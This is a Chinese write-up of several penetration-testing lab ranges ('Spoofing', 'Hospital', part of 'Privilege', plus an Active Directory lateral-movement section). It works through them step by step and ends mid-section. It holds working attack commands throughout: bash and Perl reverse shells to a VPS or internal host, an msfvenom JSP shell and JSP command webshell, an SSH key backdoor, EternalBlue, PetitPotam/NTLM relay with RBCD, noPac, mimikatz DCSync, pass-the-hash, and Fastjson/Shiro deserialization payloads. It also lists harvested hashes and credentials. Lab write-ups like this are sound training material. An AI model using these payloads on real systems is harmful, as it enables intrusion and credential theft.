这里有两种可能一种是可能Administrator 用户的密码不同导致哈希值不同,另一种可能是不在同一个AD域中

所以接下来我们需要获取到另外的Administrator用户的哈希

域环境分析

创建一个Administrator账户

1
2
net user TG1u g123456@ /add
net localgroup administrators TG1u /add

登录有Administrator权限的rdp

但是这里我发现怎么都传不上SharpHound,本来想要分析看看是不是在同一个域里面的,不过rdp也是方便下面的操作的。

域内横向

上面利用secretsdump解出域管Hash的时候还扫出了另外一台机子的Hash

1
2
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:6796da512c8e33fa4e0860d95643ae69
NTLM:6796da512c8e33fa4e0860d95643ae69

利用bloodhound-python搜集DC01这台控制器的信息(这里执行成功说明应该是在同一个AD域中)

bloodhound-python :是一个用于收集和分析AD域环境信息的工具,类似于 BloodHound 的 Python 版本。

1
2
3
4
5
6
7
8
proxychains -q bloodhound-python -u win19$ --hashes ":6796da512c8e33fa4e0860d95643ae69" -d xiaorang.lab -dc dc01.xiaorang.lab -c all --dns-tcp -ns 172.22.4.7 --auth-method ntlm --zip
//-u:指定用户名。在这里,用户名是win19$。
//-d:指定域名。
//-dc:指定域控制器的名称。
//-c:指定要收集的数据类别。在这里,all表示收集所有类别的数据。
//--dns-tcp:表示使用TCP进行DNS查询。
//-ns 选项指定DNS服务器的IP地址。
//--auth-method:指定认证方法。在这里,认证方法是NTLM。

将zip导入到BloodHound分析

查询非约束性委派最短路径(Shortest Paths to Unconstrained Delegation Systems)

起点:WIN19.XIAORANG.LAB(计算机账户)。

终点:DC01.XIAORANG.LAB(域控制器)。

实线:表示直接的权限或关系。

虚线:表示间接的权限或关系。

可以发现确实存在非约束性委派攻击

非约束性委派攻击

非约束性委派:是一种允许服务在没有任何约束的情况下,代表用户访问任何其他服务的机制。这种委派可以被攻击者利用来进行横向移动和权限提升。

上传Rubeus,以管理员身份运行

Rubeus :是一个用于与 Kerberos和 Active Directory进行交互的工具,通常用于渗透测试和安全评估。

1
2
3
4
Rubeus.exe monitor /interval:1 /filteruser:DC01$
//monitor命令:用于监控域中的Kerberos票据请求。
// /interval:指定监控的间隔时间,单位为秒。在这里,间隔时间设置为 1 秒。
// /filteruser:DC01$:指定要过滤的用户。在这里,过滤的用户是DC01$。

此时,捕获到了域中的Kerberos票据请求,但没有触发认证请求所以无法得到TGT票据。

用dfscoerce或者PetitPotam触发强制NTLM认证

dfscoerce:用于执行DFS强制身份验证攻击的 Python脚本。

PetitPotam:用于执行 NTLM 关联攻击的 Python脚本。

1
2
3
4
5
cd dfscoerce
proxychains -q python3 dfscoerce.py -u win19$ -hashes :6796da512c8e33fa4e0860d95643ae69 -d xiaorang.lab win19 172.22.4.7

cd PetitPotam
proxychains -q python3 PetitPotam.py -u 'WIN19$' -hashes :6796da512c8e33fa4e0860d95643ae69 -d xiaorang.lab -dc-ip 172.22.4.7 WIN19.xiaorang.lab DC01.xiaorang.lab

认证后,返回rdp即可得到TGT票据

将base64加密的票据进行解密并放入到DC01.kirbi文件中

.kirbi 文件:通常包含提取的 Kerberos票据

1
echo 'doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4IEVDCCBFCgAwIBEqEDAgECooIEQgSCBD7ti0Y5GuDBR4NG10UvgfO7O49xoE5ss3jW8Cbndjl+30ZtZyRhxc4JpPsLwdD+pc7tHg45VYg6vUVCwYHUO2FRaZ/ZOB1VaxDwLytKD7Q0ySHBtSmJuU51N8SPy3i8JbkfjDLP9igMfydEyCdxNSGPatHQTjjcdNPRe4cyg6QE3lwv+mPZvrvokhhBFvZkFJw7hvYMu2Izg/QNmmhGY6KOOI21wJ51G6uqnpTS3cRxvnVmNV2oTvG2fxfqn3nJ9xFFWXn04DFpWA+C+Erg4Eu384dGM6+zL2jVF1WHnv9ohMobcN0owlSBpX7Xj8FBffZbGEmOwFph1P6PmjeWCKSbQDdzRWtUeT4I0O44RFYOmFHcf8oUhyPu4tHFnwNgJN9cWPH4IsAASb0sS8lC9ae9my3t3JZ5i4qNpKhoyOfCWQdF7sZFeVV03sP6Ouu817L8LLvqQcqcVrH2QikNyJD7f/RLtemR3LsplaWps8dcnTc2aK5CAASm1S3R+2HiTHbPjVP0XbnlFOfggLNviXjdUu1y7VGALADOmWzQA0CXxAw0z3bPeP54t2Blx+4n5/hjn0YK3OhNgfKo9fXqbvRrNvBA4ARSHjOulw1muYOGuLoZoTAHY6WPMv2AFV90n0NvCQbMg20sU3aY/ApsoAB0ugbMC5kCUd1srbxhf12XJ56cqjQWgvFBeOrDp2SnqTp+WOrVTBrM3UDNp9Q0EZBFpr6SjWYwx4xBAy6h2OFSfSxcGlyq93yCkmqbBmYyV62GHGS5I6XuWi1QWqoPtSum2+UrdiciBShepDGYKPn5bXY9ST0RYuBuK7NwQGQGfWjn/V8JwLV1AqxBvoi6Qv7sIMCpOB9u6uRP2bgvrSyAwmIvhyPC5DcvxQEC3yanNQ+y45TTtEPKRpAaazQckIm10dVuPYjC1KcdnFAJP8b09pMFxPEuqxUMsK8RlJSddYhQqe/awjGb0uF166GKU6he5lV8fHi41JFPds7IR0XSZP9xEhprNSxs+RScOfnosPunKfE5HQ7yF+TkIA+e0HBkofuriLEEZ+lYYiT/DX31nUNcf//fOGOy7zy3/I9KaU5JAyf7qHcyGaJA+ZGNuGzke2PcnzF5P/CtOpnC9N73DfSv6rUNDagYJDhVMqfCYUzmi80XnrOKXoCsNTEyOI3od1lj2aZ6lg7IIbr96dlYibeg0EKSJrk5PoSW2GXcPTGYgN+yvX8oA4RjExaPch9yNb7zJ4h3F21OyOKNdaukRbcYPZu8lVALZvrPUUadhWk2FIqm7Py3YdLgG182XH2v7DcagJsvw+jrq1QFPMEigPVAvhR+QvV8Flu1T11K95gSGe6sdABJ4H9UMfB9+3io4/zqXTkVgRj+mQUmIdYE2So1Jb/vMrQb//I75kPSdbYNWXQ3H/GpDUmtY56DOa6Dan8zK7hFU08DFXS7re+jgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCCeSO41sm9bD7EXeL3FIaRB5U1gI3bo0poPKZU1xzyKxKEOGwxYSUFPUkFORy5MQUKiEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDI1MDEyNTEwMjI1N1qmERgPMjAyNTAxMjUyMDIyNTdapxEYDzIwMjUwMjAxMTAyMjU3WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFhJQU9SQU5HLkxBQg==' | base64 -d > DC01.kirbi

PtT

**Pass-the-Ticket (PtT)**:使用提取的 TGT 票据在目标系统上进行身份验证,而无需知道用户的密码。

上传mimikatz抓取DC01这台控制器上的域管理员Hash(注意要将mimikatz.exe与DC01.kirbi放在同一目录)

1
2
3
4
mimikatz.exe "kerberos::purge" "kerberos::ptt DC01.kirbi" "lsadump::dcsync /domain:xiaorang.lab /user:administrator" "exit"
//kerberos::purge:用于清除当前用户会话中的所有Kerberos票据。
//kerberos::ptt:用于加载指定的Kerberos票据文件(.kirbi文件)。
//lsadump::dcsync:用于使用DCSync功能从域控制器提取指定用户的哈希值。/domain指定目标域名。/user指定要提取哈希值的用户。

得到域管理员Hash

1
NTLM: 4889f6553239ace1f7c47fa2c619c252
PtH

可以利用WMI横向或者SMB横向

1
2
3
proxychains -q impacket-wmiexec -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/[email protected] -codec gbk

proxychains -q impacket-wmiexec -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/[email protected] -codec gbk
1
2
3
proxychains -q impacket-psexec -hashes :4889f6553239ace1f7c47fa2c619c252 [email protected] -codec gbk

proxychains -q impacket-psexec -hashes :4889f6553239ace1f7c47fa2c619c252 [email protected] -codec gbk

获取flag03

1
type C:\Users\Administrator\flag\flag03.txt

1
flag03: flag{fc3f57fa-a33b-480e-8856-7929fbc30f6b}

获取flag04

1
type C:\Users\Administrator\flag\flag04.txt

1
flag04: flag{1be92fa9-293d-4930-b161-7af5cdda1582}

总结:

Spoofing

工具准备:fscan、gost、proxifier、proxychains、msf、Adinfo_winnetexec、ntmlrelayx、Petitpotam、getST、wmiexec或psexec、mimikatz、noPac

知识点:CVE-2020-1938、NTLM Relay via WebDAV+Petitpotam强制认证+RBDC攻击、noPac攻击

靶场介绍:Spoofing是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

外网

信息搜集

先用fscan扫描一下,扫出来一个后台管理

访问一下8080端口,但是没有给是什么CMS且随便点点也是一堆404

用dirsearch扫描一下网站根目录

谷歌里随便搜一个一个/examples下的路径就能搜的出Apache Tomcat 漏洞

或者访问一下/docs也可以看到,并且能知道版本为9.0.30

那么搜索一下这个版本的漏洞有哪些,直接就搜出 CVE-2020-1938

CVE-2020-1938

跟着文章利用现成的poc打一下 AJPy

运行POC读取tomcat的配置文件信息web.xml

1
2
cd AJPy
python3 tomcat.py read_file --webapp=root /WEB-INF/web.xml 39.98.122.69

发现一个文件上传的路径

使用msf生成木马shell.txt

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<VPS_IP> LPORT=7777 > shell.txt

上传shell.txt,并用bp抓包

得到上传的文件路径

1
/upload/eb47be1ba0d709f96bf6e18735f5323b/20250127072151515.txt

还是接着用tomcat.py

1
2
3
4
5
//kali
python3 tomcat.py read_file --webapp=ROOT /upload/eb47be1ba0d709f96bf6e18735f5323b/20250127072151515.txt 39.98.122.69

//vps
nc -lvvp 7777

但是估计没有python环境创建不了pty,不过也可以直接执行命令了

但是看着实在难受所以还是用自己写的马来打,这样弹出来的shell直接就有tty

1
2
3
4
5
6
7
8
9
10
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,base64加密后的命令}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

跟上面一样上传然后运行

1
2
3
4
5
//kali
python3 tomcat.py read_file --webapp=ROOT /upload/eb47be1ba0d709f96bf6e18735f5323b/20250127080251535.jsp 39.98.122.69

//vps
nc -lvvp 7777

直接就是root用户了,所以直接找flag

1
find /root -name flag*

获取flag01

1
cat /root/flag/flag01.txt

1
flag01: flag{fcc468dc-1093-4abf-b00a-d75579945115}

SSH 免密登录后门

先在kali生成ssh密钥

1
ssh-keygen -t rsa -b 4096

查看密钥

1
cat ~/.ssh/id_rsa.pub

把密钥写进靶机,并且加上权限

1
2
3
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4HZhy1S5L3PFxCr00Of1EJ1/8UkkNTaRvg/pH3aC77XLWrOC9dglX0oFVOcGR+BzuqJZuyNIF6mR0CP3fCUe4lzmrDPqCfheCsN2bwNZXQAPMs+XHikn69kPX2b0bJtOZ/tXbQ6NVN+PuDEI0fwtVziU6kvi3z57irHOegaztdKmjHN3M0SoPSQQQ5NVh82/uDaMD8ChuM4AIar6L1Mj/m36tW5epI5YECqHZOVARzXLn8QKsgt7sXmuPHeP3BySPUzFvSIIGIPDS8oW3v4JT3sr9R3LTfvhQSapAkZexkT67TOzsHk3iV9XqgOJq4SDuvLvOvTYfvuWIUM7FRBLXZGUGC6Y4CfxRDw6ZzVpx4entPHKYS6VtoUJn74I4HrJILBK9GKI53Z4F3zVvIBq82xA+RJkd36cOCJtvuttyVhTHnAiKrHxW2nxh07sw5U7BbaU3sts9hlVQJTiNeHNEp9yitdz575WV6WIH4PdJjlrGFTf5JRzHhjHiU3XDVIjnpgF5N1VLuL8C781quESskZehKKLBn1anLwBDGpFOWl83lolvPh5MFLtTQT7nr9KjpD56vkD8WtnQyA2oik/yRVn39zW02tgp+BZi5nH9P5swVuYkLvWGiNpAq6493nZxbfGF3DjJukenQgVNmMltDYnfgHmr4VQhxZzuhCjSxw== root@kali" > /root/.ssh/authorized_keys

chmod 600 /root/.ssh/authorized_keys

后面就可以在自己的机子上随便连接了

1
ssh -i ~/.ssh/id_rsa [email protected]

内网

信息搜集

ifconfig查看网段

存在局域网,上传fscan扫描内网

1
2
3
4
5
6
7
8
//vps
python3 -m http.server 2201

//靶机
cd tmp
wget -t 2 http://<VPS_IP>:2201/fscan
chmod 777 fscan
./fscan -h 172.22.11.76/24

整理一下

内网穿透

利用gost做正向代理直接看上面靶场演示的,这里不演示了

1
./gost -L=admin:[email protected]:1080

配置proxifier

配置proxychains

内网渗透

MS17-010

上面直接就扫出来MS17-010了那么直接就先打永恒之蓝

1
2
3
4
5
proxychains -q msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.11.45
exploit

获取flag02

1
cat flag02.txt

1
flag02: flag{2d407fbe-61c2-4142-b85f-f90fb0c9399c}

抓一下 Hash

1
2
3
load kiwi
creds_all
//显示所有已提取的凭证

1
2
3
4
XR-DESKTOP$
NTLM:540711072703fde7af17da8dd7dcaa8d
yangmei
NTLM:25e42ef4cc0ab6a8ff9e3edbbda91841

抓取Administrator用户的Hash

1
hashdump

1
2
Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799:::
NTLM:48f6da83eb89a4da8a1cc963b855a799
域环境分析

先登录172.22.11.45的rdp,然后上传一个Adinfo_win分析一下域环境

adinfo_win.exe:用于查询和显示Active Directory环境信息的工具。

1
Adinfo_win.exe -d xiaorang.lab --dc 172.22.11.6 -u yangmei -H 25e42ef4cc0ab6a8ff9e3edbbda91841

可以看到域的最大账户配额 (MAQ)为0,所以我们不能添加管理员账户来连接rdp,那么约束委派等攻击就没法打了。

看了一下别人的wp。发现需要打NTLM Relay攻击。

NTLM Relay via WebDAV+Petitpotam强制认证+RBDC攻击

NTLM Relay via WebDAV:是一种利用 WebDAV 服务进行 NTLM中继的攻击方法。

WebDAV:是一种允许用户在 Web 上编辑和管理文件的扩展。通过设置一个恶意的 WebDAV 服务器,攻击者可以捕获和中继 NTLM 认证请求。

RBCD 攻击:是一种 Kerberos约束委派机制,允许服务在特定条件下代表用户请求其他服务的票据。这种机制可以限制委派的范围,只允许特定的服务和用户进行委派。

用netexec探测开启了WebDAV服务的机子有哪几台(由于我的kali的python环境是3.x的我懒得重新弄成2.x的所以就不用CrackMapExec了)

netexec:用于执行各种网络协议和服务的工具,通常用于渗透测试和安全评估。NetExec是CrackMapExec的延续具有CrackMapExec的全部功能。

1
2
proxychains -q netexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M webdav
//-M:指定要使用的模块。

可以看到172.22.11.26开启了WebDAV服务,那么接下来的目标就是这台机子了。

用netexec进行petitpotam扫描(用于下面利用petitpotam触发强制认证)

1
2
proxychains -q netexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M coerce_plus
//coerce_plus是CrackMapExec中petitpotam模块的替代。

可以发现172.22.11.6172.22.11.26都可以进行petitpotam强制认证。

接着开始进行攻击前还需要注意NTLM中继需要将80 端口转发出去伪造 HTTP 服务

1
2
3
4
5
6
7
ssh -i ~/.ssh/id_rsa [email protected] -D socks_ip:port -R \*:79:127.0.0.1:80 
//-i:指定身份文件(私钥)的路径。
//-D:指定动态应用层隧道(SOCKS 代理)。
//-R:指定反向隧道。\*:79:127.0.0.1:80表示在远程主机上监听所有接口的 79 端口,并将连接到该端口的流量转发到本地主机的 127.0.0.1:80。

nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &
//创建一个持久的TCP代理,监听在所有接口的 80 端口,并将流量转发到本地主机的 79 端口。

测试一下

image-20250127220520581

可以看到已经成功的将80端口转发出去了。那么就可以开始攻击了。

用ntmlrelayx实现NTLM中继攻击,用前面的 XR-Desktop作为恶意机器账户配置目录数据库(RBCD)

ntlmrelayx:用于执行 NTLM中继攻击的工具,通常用于渗透测试和安全评估。

1
2
3
4
5
6
7
proxychains -q impacket-ntlmrelayx -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
//-t:指定目标协议和地址。在这里,目标协议是 LDAP,目标地址是 172.22.11.6。
//--no-dump:禁用从目标计算机转储哈希值。
//--no-da:禁用从目标计算机转储目录服务(DA)信息。
//--no-acl:禁用从目标计算机转储访问控制列表(ACL)信息。
//--escalate-user:指定要提升权限的用户。在这里,用户是 xr-desktop$。
//--delegate-access:启用委派访问权限。

使用Petitpotam触发XR-LCM3AE8B认证到 172.22.11.26

1
2
cd PetitPotam
proxychains -q python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

可以看到已经发送 EfsRpcOpenFileRaw请求,触发目标计算机的NTLM认证。并且收到预期的ERROR_BAD_NETPATH异常,攻击成功触发了NTLM认证,攻击成功。

再次返回xr-desktops用户现在可以通过S4U2Proxy冒充其他用户在 XR-LCM3AE8B$上进行操作。

完成RBCD攻击之后直接申请 XR-LCM3AE8B的TGT和S4U2self票据并且冒充administrator用户。

getST:Impacket套件中的一个工具,用于获取服务票据。

1
2
3
proxychains -q impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :540711072703fde7af17da8dd7dcaa8d  xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
//-spn:指定服务主体名(Service Principal Name),这里是 cifs/XR-LCM3AE8B.xiaorang.lab。
//-impersonate:指定要冒充的用户。

可以看到已经成功获取票据并保存在指定的缓存文件中。

改一下环境变量和hosts配置,否则连接不上。

1
2
3
4
export KRB5CCNAME=administrator@[email protected]

sudo vim /etc/hosts
//把XR-LCM3AE8B.xiaorang.lab的ip加到hosts里

PtH

有了票据接着就可以无密码通过WMI横向或者SMB横向打PtH连接。

1
2
3
proxychains -q impacket-wmiexec xiaorang.lab/[email protected] -k -no-pass -target-ip 172.22.11.26 -codec gbk
或者
proxychains -q impacket-psexec xiaorang.lab/[email protected] -k -no-pass -target-ip 172.22.11.26 -codec gbk

获取flag03

1
type C:\Users\Administrator\flag\flag03.txt

1
flag03: flag{7c1269a8-80f0-4433-8c21-168dab07d2ba}
noPac攻击

noPac 攻击:是一种针对Windows环境中的Kerberos身份验证机制的攻击技术。该攻击利用了Kerberos协议中的一个特性,即在某些情况下,Kerberos票据(Ticket Granting Ticket, TGT)可以在没有 PAC的情况下被请求和使用。

PAC:是 Kerberos 票据中的一部分,包含了用户的权限和身份信息。

利用原理:如果域内存在一台域控名为DC(机器账户为DC$)的域控机,此时攻击者可利用CVE-2021-42287漏洞去申请一个机器账户,再将机器账户的sAMAccountName修改为DC。然后再利用这个机器账户去申请一个TGT票据,再将DC的sAMAccountName修改为其他。修改结束后再利用这个TGT通过S4U2Self去申请ST票据,此时KDC识别TGT票据内用户名为DC,检索到域内并未存在DC用户,但存在DC$用户(检索的依据为sAMAccountName值),于是KDC通过DC机器的hash加密票据,我们便可成功拿到DC的权限。

创建一个Administrator账户

1
2
net user TG1u g123456@ /add
net localgroup administrators TG1u /add

登录RDP

上传mimikatz

以管理员身份运行抓Hash

1
2
privilege::debug
sekurlsa::logonpasswords

获得用户的Hash

1
2
zhanghui
NTLM:1232126b24cdf8c9bd2f788a9d7c7ed1

打noPac攻击(这里也可以直接用XR-DESKTOP$用户打)

1
2
3
4
5
6
7
8
cd noPac
proxychains -q python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell
//--impersonate:指定要冒充的用户。
//-create-child:创建子票据,用于进一步的权限提升。
//-use-ldap:使用LDAP协议进行身份验证和票据请求。
//-shell:获取交互式shell访问。
或者
proxychains -q python3 noPac.py xiaorang.lab/'XR-DESKTOP$' -hashes ':540711072703fde7af17da8dd7dcaa8d' -dc-ip 172.22.11.6 --impersonate Administrator -no-add -target-name 'XR-DESKTOP$' -old-hash ':540711072703fde7af17da8dd7dcaa8d' -use-ldap -shell

获取flag04

1
type C:\Users\Administrator\flag\flag04.txt

1
flag04: flag{5da1592f-30b7-451a-aca1-73bdd97ec7fb}

总结:

Hospital

工具准备:JDumpSpiderShiro Attack、venom和proxifier、NacosExploitbp插件fastjsonExpjndi_toolgrafanaExp、navicat

知识点:Actuator配置漏洞、Shiro反序列化、vim.basic提权、Nacos Client Yaml 反序列化、Fastjson 反序列化、搭建二级代理、Grafana任意文件读取、PostgreSQL数据库渗透、sudo提权

靶场介绍:在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。

外网

信息搜集

拿fscan扫描一下,扫出来一个8080端口有一个heapdump文件

访问8080端口用dirsearch扫描一下

可以得到heapdump文件路径,并且我们可以发现这是一个shiro框架

Actuator配置漏洞

访问/actuator/heapdump下载文件

用JDumpSpider分析一下

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar <heapdump文件路径>

发现ShiroKey

1
GAYysgMQhG7/CzIJlVpR2g==

Shiro反序列化

有ShiroKey直接利用Shiro Attack注入内存马

用冰蝎连接

查看一下当前用户为app,权限太低了需要提权。

vim.basic提权

把shell弹到vps上(方便操作),这里用冰蝎里的弹shell没法弹所以直接用命令来弹。

1
2
3
4
5
//vps
nc -lvvp 7777

//靶机
bash -c "bash -i >&/dev/tcp/<VPS_IP>/7777 0>&1"

查看一下suid

1
2
3
4
find / -user root -perm -4000 -print 2>/dev/null
//-perm -4000:只查找具有SUID权限的文件。
//-print:打印匹配的文件的完整路径。
//2>/dev/null:将标准错误(如权限拒绝错误)重定向到 /dev/null,以避免在终端中显示错误信息。

sudo -l查看时发现报错了弹到的shell并没有得到tty

这时我们还可以发现有个vim.basic,开始提权。

先利用python3创建一个pty(vim.basic需要tty环境)

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

提权

1
vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

查看flag的位置

1
find /root -name flag*

获取flag01

1
cat /root/flag/flag01.txt

1
flag01: flag{75208ecc-a7b5-4ee4-9b53-f407c4f34351}

内网

信息搜集

查看网段

上传一个fscan扫描

1
./fscan -h 172.30.12.5/24

整理一下

内网穿透

用venom做反向代理(因为这个靶场有二级代理用venom比较方便,但是网不好的时候很不稳定,打下来因为网的问题耗费了一堆时间)

上传venom并配置

1
2
3
4
//vps
./admin_linux_x64 -lport 7777
//靶机
./agent_linux_x64 -rhost <your_vps_ip> -rport 7777

配置proxifier,上面有不演示了。

内网渗透

Nacos Client Yaml反序列化

fscan直接扫出来一个nacos,这里查看nacos版本为1.4.1,Hessian反序列化漏洞需要版本为2.0.0 <= Nacos < 2.2.3才可能存在,所以这里应该是Nacos Client Yaml反序列化。

直接利用NacosExploit工具来打

进入\NacosExploitGUI-7.0\漏洞复现环境\nacos-client_yaml_deserialize\yaml-payload\src\artsploit修改AwesomeScriptEngineFactory.java文件中命令执行的部分,改成添加用户。

1
2
Runtime.getRuntime().exec("net user TG1u g123456@ /add");
Runtime.getRuntime().exec("net localgroup administrators TG1u /add");

回到\NacosExploitGUI-7.0\漏洞复现环境\nacos-client_yaml_deserialize\yaml-payload点击生成 bat,生成新的jar文件。(这里不要改jar的名字我改了之后好像就不成功了)

将文件上传到靶机,并且开启 80 端口

1
python3 -m http.server 80&

上传成功后执行

登录rdp

获取flag02

1
flag02: flag{6c47b59d-3e1d-409b-81cd-c6f9bc75a7a1}
Fastjson 反序列化

上面信息搜集还有一个172.30.12.236:8080是一个医院后台管理平台

访问后没看出CMS用dirsearch扫描一下

可以发现很明显是Tomcat框架,版本为v8.5.32

但是不存在CVE-2020-1938,所以尝试别的漏洞。

用bp抓包发现是json传参,猜测有可能是Fastjson反序列化。

检测一下存不存在Fastjson反序列化(由于开着代理bp接收不到,用的别的dns平台)

1
{"aaa":{"@type":"java.net.Inet4Address","val":"fef24856c5.ipv6.1433.eu.org."}}

可以发现存在,但是这是在内网里直接用上面Exchange靶场的方法弹不成shell(需要将工具上传到172.30.12.5运行可能才能弹成shell,太麻烦了),所以直接用bp插件来检测并攻击。

法一:bp插件

将抓到的包发送到扩展插件,这里用fastjsonEcho(这里我是原来用正向代理的时候打的成功,但是后面改反向代 fastjsonEcho就不成功了)

可以看到这里已经执行成功whoami,权限直接就是root用户了。

如果用fastjsonInject,需要配合哥斯拉(这里是反向代理的时候打的)

连接哥斯拉

那么接下来弹shell就行(这里也是在正向代理的时候打的,后面改反向代理就在哥斯拉里面弹就行)

1
2
3
4
5
//.5 web01
nc -lnvp 7777

//.236 web03
bash -c "bash -i >&/dev/tcp/172.30.12.5/7777 0>&1"

getshell到web03后查看flag的位置

获得flag03

1
flag03: flag{bc44d0c0-f9ef-497a-9aed-2ea8bd69fc9f}

法二:利用jndi_tool(我嫌有点麻烦了就不演示了)

首先先上传一个jndi_tool在172.30.12.5

1
2
3
4
//.5 web01
java -cp jndi_tool.jar jndi.EvilRMIServer 8888 1099 "bash -i >& /dev/tcp/172.30.12.5/7777 0>&1"

nc -lvnp 7777

运行完后再在bp中传参

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://172.30.12.5:8888/Object",
"autoCommit":true
}
}

这样子也可以弹成功shell

第二个内网
信息搜集

查看一下当前的网段信息

可以发现172.30.12.236这台机子是双网卡,并且两个ip网段的子网掩码不同,说明还存在第二个以太网。

上传fscan进行扫描(这里都得在内网中才能传)

1
2
3
4
5
6
//.5 web01
python3 -m http.server 2201

//.236 web03
cd tmp
wget -t 2 http://172.30.12.5:2201/fscan

扫描

1
./fscan -h 172.30.54.179/24

整理一下

搭建二级代理

上传venom(这里用正向代理不成,所以连带着前面的一起改反向了),将web04代理到web01上。

在上面vps的venom的终端开启监听端口

1
2
3
4
5
6
7
8
9
10
11
12
//vps
listen 1234

//.236 web03
cd tmp
wget -t 2 http://172.30.12.5:2201/venom
./agent_linux_x64 -rhost 172.30.12.5 -rport 1234 &

//vps
show
goto 2
socks 1234

配置proxifier

添加代理

添加规则

配置proxychains(如果下面数据库在kali里连接的话就配)

1
vim /etc/proxychains4.conf

测试一下

Grafana任意文件读取

上面用fscan扫出来一个 Grafana,能利用漏洞就只有SSRF 和任意文件读取,查看这里的版本应该存在任意文件读取。

直接用grafanaExp工具来打

上传grafanaExp(还是一样一级一级的上传)

1
2
//.236 web03
./grafanaExp exp -u http://172.30.54.12:3000/

得到PostgreSQL数据库的用户名和密码

1
user:[postgres] password:[Postgres@123]
PostgreSQL数据库渗透

读到了postgreSQL的账号密码,先连上去

1
2
proxychains -q psql -h 172.30.54.12 -U postgres -W 
口令:Postgres@123

这里不知道为啥用kali连接不上,改用navicat连接

改掉root用户的密码(下面提权需要root用户的密码)

1
ALTER USER root WITH PASSWORD '123456';

创建命令执行函数

1
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;

反弹shell

1
select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

查看当前用户为postgres权限太低,需要提权。

sudo提权

sudo -l查看权限

发现可以利用/usr/local/postgresql/bin/psql提权

先创建pty(这里不创建直接提取的话没有交互式,而且就卡在那里了,重新搞又要半天)

1
python3 -c 'import pty;pty.spawn ("/bin/bash")'

开始提权

1
2
3
4
sudo /usr/local/postgresql/bin/psql
Password: 123456
\?
!/bin/bash

查看flag位置

1
find /root -name flag*

获取flag04

1
flag04: flag{bb27f13a-9bd3-46e1-a20a-9b0ab43073ab}

总结:

这套靶场的漏洞和知识点都不难,就是我在打的时候前面用的正向代理到后面搭建第二个代理又从头搭建反向代理,但是反向代理网不好的时候请求一多就不稳定,大部分时间都浪费在代理上面了。

Privilege

工具准备:fscan、gost、proxifier、proxychains、odat、evil-winrm、GetUserSPNs、mimikatz、hashcat、secretsdump

知识点:Jenkins平台漏洞、GitLab敏感仓库获取、Oracle RCE、SeRestorePrivilege提权、卷影拷贝提取 ntds.dit

靶场介绍:在这个靶场中,您将扮演一名资深黑客,被雇佣来评估虚构公司 XR Shop 的网络安全。您需要通过渗透测试逐个击破公司暴露在公网的应用,并通过后渗透技巧深入 XR Shop 的内部网络,寻找潜在的弱点和漏洞,并通过滥用 Windows 特权获取管理员权限,最终并获取隐藏在其内部的核心机密。该靶场共有 4 个 Flag,分布于不同的靶机。

第一关

关卡剧情:请获取XR Shop官网源码的备份文件,并尝试获得系统上任意文件读取的能力。并且,管理员在配置 Jenkins时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins服务器权限。Jenkins配置目录为 C:\ProgramData\Jenkins.jenkins。

外网

信息搜集

一样用fscan扫描一下

扫出来了一个8080端口和80端口,8080端口是一个登录界面,80端口是XR Shop官网。

根据关卡剧情,我们扫出来了XR Shop官网源码的备份文件,访问并下载www.zip

对源码进行代码审计,直接用seay来审计一下

由于剧情给我们说了要文件读取,所以我们就只看文件读取就行了。

Jenkins平台漏洞
